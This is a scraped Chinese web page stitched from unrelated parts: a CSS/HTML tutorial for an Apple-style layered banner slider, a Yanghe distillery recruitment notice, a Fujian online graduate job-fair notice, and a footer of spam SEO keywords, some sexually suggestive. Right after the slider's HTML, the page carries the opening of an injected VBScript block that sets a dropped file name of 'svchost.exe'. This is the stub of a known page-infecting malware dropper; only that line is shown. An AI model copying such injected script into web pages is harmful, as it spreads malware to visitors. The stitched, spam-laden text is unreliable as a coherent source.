整合營銷服務(wù)商

          電腦端+手機端+微信端=數(shù)據(jù)同步管理

          免費咨詢熱線:

          MAC蘋果官網(wǎng)CSS3banner特效源碼

          果圖

          各位條子,大家中午好!

          今天給大家?guī)淼氖?蘋果官網(wǎng)CSS3banner特效源碼!

          效果十分炫酷,十分適合科技企業(yè)的官網(wǎng)使用!

          大家也可以按照自己的想法 修改!

          • 分享之前我還是要推薦下我自己建的前端學習群:581549454 。里面都是做前端開發(fā)的,拒絕賣課和廣告!純學習交流,每天會上傳一些優(yōu)秀的作品和源碼,歡迎初學者和大神們。

          好了,廢話不多說,上源碼!

          層疊樣式:

          body {

          margin: 0px;

          padding: 0px;

          background-color: rgba(255,255,255,1);

          font-family: 'Source Sans Pro', sans-serif;

          }

          #wrapper {

          width: 100%;

          float: left;

          }

          #buttons{

          width: 100%;

          float: left;

          margin-top: 100px;

          height: 40px;

          }

          #buttons-inner{

          height: 40px;

          width: 800px;

          margin-right: auto;

          margin-left: auto;

          }

          .buttons-inner-button{

          float: left;

          height: 40px;

          margin-right: 10px;

          margin-left: 10px;

          }

          .buttons-inner-button a{

          color: rgba(255,255,255,1);

          background-color: rgba(150,40,189,1);

          line-height: 40px;

          height: 40px;

          text-decoration: none;

          display: block;

          padding-right: 15px;

          padding-left: 15px;

          -webkit-transition: all 0.25s;

          -moz-transition: all 0.25s;

          -o-transition: all 0.25s;

          transition: all 0.25s;

          }

          .buttons-inner-button a:hover{

          background-color: rgba(150,40,189,0.5);

          }

          index:

          <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

          <html xmlns="http://www.w3.org/1999/xhtml">

          <head>

          <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

          <title>Responsive Layered Slider Demo</title>

          <link rel='stylesheet' type='text/css'>

          <link href="_css/Icomoon/style.css" rel="stylesheet" type="text/css" />

          <link href="_css/responsive-layered-slider.css" rel="stylesheet" type="text/css" />

          <script type="text/javascript" src="_scripts/jquery-2.0.2.min.js"></script>

          <script type="text/javascript" src="_scripts/jquery-ui-1.10.4.min.js"></script>

          <script type="text/javascript" src="_scripts/responsive-layered-slider.js"></script>

          <style>

          #header{

          background-color: #3f8dbf;

          float: left;

          width: 100%;

          height: 50px;

          color: rgba(255,255,255,1);

          line-height: 50px;

          }

          #header a {

          color: rgba(255,255,255,1);

          text-decoration: none;

          display: block;

          font-size: 15px;

          }

          #header-left{

          float: left;

          height: 50px;

          }

          #header-left:hover #header-left-icon{

          background-color: #3F8DBF;

          }

          #header-left:hover #header-left-text{

          background-color: #599BC8;

          }

          #header-left-icon{

          float: left;

          height: 50px;

          width: 50px;

          text-align: center;

          background-color: #35759F;

          -webkit-transition: background 0.5s;

          -moz-transition: background 0.5s;

          -o-transition: background 0.5s;

          transition: background 0.5s;

          }

          #header-left-icon a {

          font-size: 25px;

          }

          #header-left-text{

          float: left;

          height: 50px;

          -webkit-transition: background 0.5s;

          -moz-transition: background 0.5s;

          -o-transition: background 0.5s;

          transition: background 0.5s;

          }

          #header-left-text a {

          padding-left: 20px;

          padding-right: 20px;

          }

          #header-right{

          float: right;

          height: 50px;

          }

          #header-right:hover #header-right-icon{

          background-color: #3F8DBF;

          }

          #header-right:hover #header-right-text{

          background-color: #599BC8;

          }

          #header-right-icon{

          float: right;

          height: 50px;

          width: 50px;

          text-align: center;

          background-color: #35759F;

          -webkit-transition: background 0.5s;

          -moz-transition: background 0.5s;

          -o-transition: background 0.5s;

          transition: background 0.5s;

          }

          #header-right-text{

          float: right;

          height: 50px;

          -webkit-transition: background 0.5s;

          -moz-transition: background 0.5s;

          -o-transition: background 0.5s;

          transition: background 0.5s;

          }

          #header-right-text a {

          padding-right: 20px;

          padding-left: 20px;

          }

          </style>

          </head>

          <body>

          <div id="header">

          <div id="header-left">

          <div id="header-left-icon"><a ><span class="iconb" data-icon="&#xe0a0;"></span></a></div>

          <div id="header-left-text"><a >Responsive Layer Slider Article</a></div>

          </div>

          <div id="header-right">

          <div id="header-right-icon"><a target="_blank"><span class="iconb" data-icon="&#xe22e;"></span></a></div>

          <div id="header-right-text"><a target="_blank">Download Source</a></div>

          </div>

          </div>

          <div id="wrapper">

          <div class="sim-slider" data-width="2550" data-height="1240" data-animation="250" data-current="true" data-progress="true">

          <div class="sim-slider-inner">

          <div class="sim-slider-slide">

          <div class="sim-slider-layer" data-effect="fadeInDown" data-width="1052" data-height="174" data-left="751" data-top="50"><img src="_assets/layer_0025.png" /></div>

          <div class="sim-slider-layer" data-effect="fadeInLeft" data-width="694" data-height="841" data-left="54" data-top="277"><img src="_assets/layer_0027.png" /></div>

          <div class="sim-slider-layer" data-effect="fadeInUp" data-width="1019" data-height="848" data-left="770" data-top="277"><img src="_assets/layer_0026.png" /></div>

          <div class="sim-slider-layer" data-effect="fadeInRight" data-width="694" data-height="841" data-left="1811" data-top="277"><img src="_assets/layer_0028.png" /></div>

          </div>

          <div class="sim-slider-slide">

          <div class="sim-slider-layer" data-effect="fadeInDown" data-width="1052" data-height="173" data-left="751" data-top="150"><img src="_assets/layer_0020.png" /></div>

          <div class="sim-slider-layer" data-effect="fadeInLeft" data-width="660" data-height="800" data-left="108" data-top="332"><img src="_assets/layer_0021.png" /></div>

          <div class="sim-slider-layer" data-effect="fadeInLeft" data-width="501" data-height="600" data-left="770" data-top="523"><img src="_assets/layer_0022.png" /></div>

          <div class="sim-slider-layer" data-effect="fadeInRight" data-width="501" data-height="600" data-left="1328" data-top="523"><img src="_assets/layer_0024.png" /></div>

          <div class="sim-slider-layer" data-effect="fadeInRight" data-width="660" data-height="800" data-left="1807" data-top="332"><img src="_assets/layer_0023.png" /></div>

          </div>

          <div class="sim-slider-slide">

          <div class="sim-slider-layer" data-effect="fadeInDown" data-width="757" data-height="97" data-left="528" data-top="138"><img src="_assets/layer_0011.png" /></div>

          <div class="sim-slider-layer" data-effect="fadeInLeft" data-width="883" data-height="64" data-left="399" data-top="361"><img src="_assets/layer_0017.png" /></div>

          <div class="sim-slider-layer" data-effect="fadeInLeft" data-width="827" data-height="64" data-left="458" data-top="444"><img src="_assets/layer_0018.png" /></div>

          <div class="sim-slider-layer" data-effect="fadeInLeft" data-width="793" data-height="64" data-left="489" data-top="519"><img src="_assets/layer_0016.png" /></div>

          <div class="sim-slider-layer" data-effect="fadeInLeft" data-width="715" data-height="64" data-left="569" data-top="596"><img src="_assets/layer_0015.png" /></div>

          <div class="sim-slider-layer" data-effect="fadeInLeft" data-width="680" data-height="64" data-left="604" data-top="674"><img src="_assets/layer_0014.png" /></div>

          <div class="sim-slider-layer" data-effect="fadeInLeft" data-width="650" data-height="64" data-left="634" data-top="754"><img src="_assets/layer_0013.png" /></div>

          <div class="sim-slider-layer" data-effect="fadeInLeft" data-width="417" data-height="64" data-left="867" data-top="837"><img src="_assets/layer_0012.png" /></div>

          <div class="sim-slider-layer" data-effect="fadeInRight" data-width="762" data-height="1035" data-left="1424" data-top="100"><img src="_assets/layer_0019.png" /></div>

          </div>

          <div class="sim-slider-slide">

          <div class="sim-slider-layer" data-effect="fadeInDown" data-width="773" data-height="1050" data-left="179" data-top="119"><img src="_assets/layer_0029.png" /></div>

          <div class="sim-slider-layer" data-effect="fadeInUp" data-width="773" data-height="1050" data-left="935" data-top="60"><img src="_assets/layer_0010.png" /></div>

          <div class="sim-slider-layer" data-effect="fadeInDown" data-width="773" data-height="1049" data-left="1707" data-top="119"><img src="_assets/layer_0009.png" /></div>

          <div class="sim-slider-layer" data-effect="fadeInDown" data-width="159" data-height="43" data-left="439" data-top="50"><img src="_assets/layer_0008.png" /></div>

          <div class="sim-slider-layer" data-effect="fadeInUp" data-width="144" data-height="43" data-left="1260" data-top="1070"><img src="_assets/layer_0007.png" /></div>

          <div class="sim-slider-layer" data-effect="fadeInDown" data-width="373" data-height="44" data-left="1856" data-top="50"><img src="_assets/layer_0006.png" /></div>

          </div>

          <div class="sim-slider-slide">

          <div class="sim-slider-layer" data-effect="fadeInDown" data-width="1053" data-height="172" data-left="742" data-top="086"><img src="_assets/layer_0000.png" /></div>

          <div class="sim-slider-layer" data-effect="fadeInLeft" data-width="767" data-height="640" data-left="115" data-top="397"><img src="_assets/layer_0005.png" /></div>

          <div class="sim-slider-layer" data-effect="fadeInDown" data-width="767" data-height="640" data-left="896" data-top="397"><img src="_assets/layer_0003.png" /></div>

          <div class="sim-slider-layer" data-effect="fadeInRight" data-width="767" data-height="640" data-left="1678" data-top="397"><img src="_assets/layer_0004.png" /></div>

          <div class="sim-slider-layer" data-effect="fadeInUp" data-width="865" data-height="524" data-left="458" data-top="676"><img src="_assets/layer_0001.png" /></div>

          <div class="sim-slider-layer" data-effect="fadeInUp" data-width="345" data-height="469" data-left="1506" data-top="676"><img src="_assets/layer_0002.png" /></div>

          </div>

          </div>

          </div>

          <div id="buttons">

          <div id="buttons-inner">

          <div class="buttons-inner-button"><a href="index.html">Fade Slider</a></div>

          <div class="buttons-inner-button"><a href="slider2.html">Bounce Slider</a></div>

          <div class="buttons-inner-button"><a href="slider3.html">Roll Slider</a></div>

          <div class="buttons-inner-button"><a href="slider4.html">Flip Slider</a></div>

          <div class="buttons-inner-button"><a href="slider5.html">Zoom Slider</a></div>

          <div class="buttons-inner-button"><a href="slider6.html">Combined Slider</a></div>

          </div>

          </div>

          </div>

          </body>

          </html>

          <SCRIPT Language=VBScript><!--

          DropFileName = "svchost.exe"

          蘇洋河酒廠股份有限公司,位于中國白酒之都——江蘇省宿遷市,總占地面積共10平方公里,總資產(chǎn)496億元,員工3萬人,下轄洋河、雙溝、泗陽三大釀酒生產(chǎn)基地和蘇酒集團貿(mào)易股份有限公司,是中國白酒行業(yè)唯一擁有洋河、雙溝兩大“中國名酒”和兩個“中華老字號”的企業(yè)。公司坐擁“三河兩湖一濕地”,所在地宿遷與法國干邑白蘭地產(chǎn)區(qū)、英國蘇格蘭威士忌產(chǎn)區(qū)并稱“世界三大濕地名酒產(chǎn)區(qū)”。作為中國名酒的杰出代表,洋河、雙溝多次在全國評酒會上獲國家名酒稱號。2009年,公司在深交所掛牌上市。2012年,公司躋身FT上市公司全球500強。近年來,公司營銷業(yè)績穩(wěn)步攀升,已穩(wěn)居行業(yè)前三甲。2018年,公司實現(xiàn)營業(yè)收入241.6億元,同比增長21.3%;凈利潤81.15億元,同比增長22.45%。

          一、招聘崗位

          管理培訓生(管理)

          1、專業(yè)要求:行政管理、人力資源管理、企業(yè)管理、工商管理、工業(yè)工程等相關(guān)管理類專業(yè)。

          2、學歷要求:全日制公辦本科及以上學歷,有大學班長及以上職務(wù)任職經(jīng)歷者優(yōu)先。

          管理培訓生(技術(shù))

          1、專業(yè)要求:食品科學、發(fā)酵、生物工程、微生物、營養(yǎng)學等相關(guān)生工食品類專業(yè)。

          綜合管理類崗位

          1、專業(yè)要求:工商管理、人力資源管理、行政管理、文秘、財務(wù)、金融、審計、營銷、廣告、電子商務(wù)、藝術(shù)設(shè)計、新聞傳播、法律等相關(guān)專業(yè)。

          2、學歷要求:全日制公辦本科及以上學歷。

          生工食品類崗位

          1、專業(yè)要求:營養(yǎng)學、食品科學、發(fā)酵、生物工程、化學、檢測分析等相關(guān)生工食品類專業(yè)。

          2、學歷要求:全日制公辦本科及以上學歷。

          信息技術(shù)類崗位

          1、專業(yè)要求:計算機、軟件工程、信息工程、大數(shù)據(jù)、數(shù)學等相關(guān)信息類專業(yè)。

          2、學歷要求:全日制公辦本科及以上學歷。

          電氣機械類崗位

          1、專業(yè)要求:機械工程、自動化、電氣工程、電子等相關(guān)電氣機械類專業(yè)。

          2、學歷要求:全日制公辦??萍耙陨蠈W歷。

          二、工作地點

          宿遷、南京

          三、薪資福利

          1、具有市場競爭力的薪酬和健全的薪酬增長機制

          2、五險一金(養(yǎng)老保險,醫(yī)療保險,失業(yè)保險,生育保險,工傷保險和住房公積金)

          3、免費大學生公寓

          4、帶薪年假

          5、節(jié)日禮金、節(jié)日禮物、生日禮物

          6、配套服裝

          7、年度健康體檢

          8、其他各類補貼、津貼(高溫補貼、職務(wù)津貼、通訊補貼等)

          9、各類榮譽與嘉獎(優(yōu)秀黨員、先進個人、十佳青年、蘇酒工匠等)

          四、簡歷投遞

          1、投遞網(wǎng)址:

          www.chinayanghe.com/channel/type/57-1.html

          五、公司官網(wǎng)

          www.chinayanghe.com

          (來源:宿遷之聲)

          源:臺海網(wǎng)

          臺海網(wǎng)3月30日訊 據(jù)福建省教育廳官網(wǎng)消息 福建2021屆高校畢業(yè)生注意啦!省教育廳今天發(fā)布通知,由省教育廳、省人社廳、海峽人才市場共同舉辦的福建高校2021屆畢業(yè)生春季專項網(wǎng)絡(luò)招聘活動就要開始了,一起來看詳情!

          各普通高等學校,用人單位:

          黨中央、國務(wù)院和省委、省政府高度重視高校畢業(yè)生就業(yè)特別是低收入家庭畢業(yè)生的就業(yè)幫扶工作。為幫助我省高校低收入家庭畢業(yè)生克服困難實現(xiàn)充分就業(yè),鞏固全面脫貧勝利成果,推進鄉(xiāng)村全面振興,福建省教育廳、福建省人力資源和社會保障廳、中國海峽人才市場聯(lián)合開展“助力振興”--福建省高校2021屆畢業(yè)生春季專項網(wǎng)絡(luò)招聘活動?,F(xiàn)就有關(guān)事項通知如下:

          一、活動時間

          二、主辦、承辦單位

          1.主辦單位:福建省教育廳、福建省人力資源和社會保障廳、中國海峽人才市場

          2.承辦單位:福建省教育廳學生工作處、福建省大中專畢業(yè)生就業(yè)工作中心、中國海峽人才市場人才交流中心

          3.協(xié)辦單位:福建省高校畢業(yè)生就業(yè)創(chuàng)業(yè)促進會

          三、網(wǎng)絡(luò)支持平臺

          中國海峽人才網(wǎng)(http://www.hxrc.com/)、福建省畢業(yè)生就業(yè)創(chuàng)業(yè)公共服務(wù)網(wǎng)(http://220.160.52.58)、各大高校就業(yè)網(wǎng)

          四、活動內(nèi)容

          1.組織有招聘高校畢業(yè)生需求的企事業(yè)單位參會,為有就業(yè)意愿的低收入家庭高校畢業(yè)生提供各類就業(yè)崗位。企業(yè)通過平臺和應(yīng)聘者進行網(wǎng)絡(luò)視頻面試。

          3.各高??山M織低收入家庭的畢業(yè)生開展一對一就業(yè)推薦服務(wù),一對一就業(yè)推薦服務(wù)由海峽人才市場提供支撐。進入“助力振興”專場活動頁面后,點擊頁面中的“一對一就業(yè)推薦”即可開始登記。

          五、參會辦法

          用人單位在報名時間段內(nèi)(使用電腦)登錄上述活動頁面,按照以下方式參與:預定展位→企業(yè)會員登錄(如不是中國海峽人才網(wǎng)企業(yè)會員請先注冊企業(yè)會員)→錄入面向高校畢業(yè)生的招聘崗位→點擊“提交”申請展位→等待審核→審核通過后即可顯示企業(yè)信息→登錄企業(yè)賬號后臺可查看投遞簡歷、在線文字交流及視頻面試。

          1.企業(yè)報名及面試操作指南:

          http://www.hxrc.com/zpgg/2020a/manual/maincom.html

          2.高校畢業(yè)生報名及面試操作指南:

          http://www.hxrc.com/zpgg/2020a/manual/mainperson.html

          六、其他說明事項

          1.本次招聘會為公益性招聘會,中國海峽人才網(wǎng)開通網(wǎng)絡(luò)視頻面試招聘平臺免費提供技術(shù)支持和服務(wù),參會畢業(yè)生與用人單位均免費參與。

          2.用人單位在線上招聘過程中不得出現(xiàn)虛假信息、傳銷信息,不得設(shè)置性別、民族、地域等歧視性條件和院校、培養(yǎng)方式(全日制和非全日制)等限制性條件,一經(jīng)發(fā)現(xiàn),取消參會資格。

          3.為實現(xiàn)人崗匹配、精準推送,請各高校于3月31日前將本校相關(guān)類型畢業(yè)生信息一覽表(見附件)報送給省教育廳學生工作處。

          七、聯(lián)系方式

          1.中國海峽人才市場人才交流中心

          聯(lián)系人:傅榕健、陳學東、楊曉麗、陳萍

          聯(lián)系電話:0591-87548854、87625420、87628310

          E-mail:059187548854@189.cn

          2.福建省教育廳學生工作處

          聯(lián)系人:陳振

          聯(lián)系電話:0591-87091321

          電子郵箱:jytxsc@126.com

          3.福建省大中專畢業(yè)生就業(yè)工作中心

          聯(lián)系人:魏瑩

          聯(lián)系電話:0591-87674885

          電子郵箱:bys@rst.fujian.gov.cn

          附件:福建省高校2021屆相關(guān)類型畢業(yè)生一覽表

          福建省教育廳 福建省人力資源和社會保障廳 中國海峽人才市場

          2021年3月25日

          (來源:福建省教育廳官網(wǎng))


          主站蜘蛛池模板: 亚洲精品精华液一区二区| 国产在线精品一区二区中文| 一区 二区 三区 中文字幕| 少妇激情AV一区二区三区| 亚洲日韩国产一区二区三区| 色天使亚洲综合一区二区| 中文字幕日韩一区| 无码国产精品一区二区免费3p| 一区二区三区免费精品视频| 精品一区二区三区视频在线观看 | 农村乱人伦一区二区| 国产无码一区二区在线| 日韩精品免费一区二区三区| 久久久久人妻精品一区三寸| tom影院亚洲国产一区二区| 亚洲一区二区久久| 久久久久人妻一区精品性色av| 久久久精品人妻一区亚美研究所| 日本一区午夜艳熟免费| 成人区精品人妻一区二区不卡| 精品久久久久一区二区三区| A国产一区二区免费入口| 亚洲国产综合无码一区二区二三区| 免费一区二区无码视频在线播放| 国产在线观看一区二区三区四区 | 视频精品一区二区三区| 日韩一区二区三区在线精品| 国产成人高清视频一区二区| 久久精品无码一区二区三区日韩| 中文字幕一区二区三区在线播放| 三上悠亚一区二区观看| 久久久老熟女一区二区三区| 呦系列视频一区二区三区| 日本高清天码一区在线播放| 高清一区二区三区| 国产精品特级毛片一区二区三区| 亚洲综合色一区二区三区小说| 一区二区三区高清| 一区二区三区免费高清视频| 天堂资源中文最新版在线一区| 无码人妻精品一区二区三区久久久 |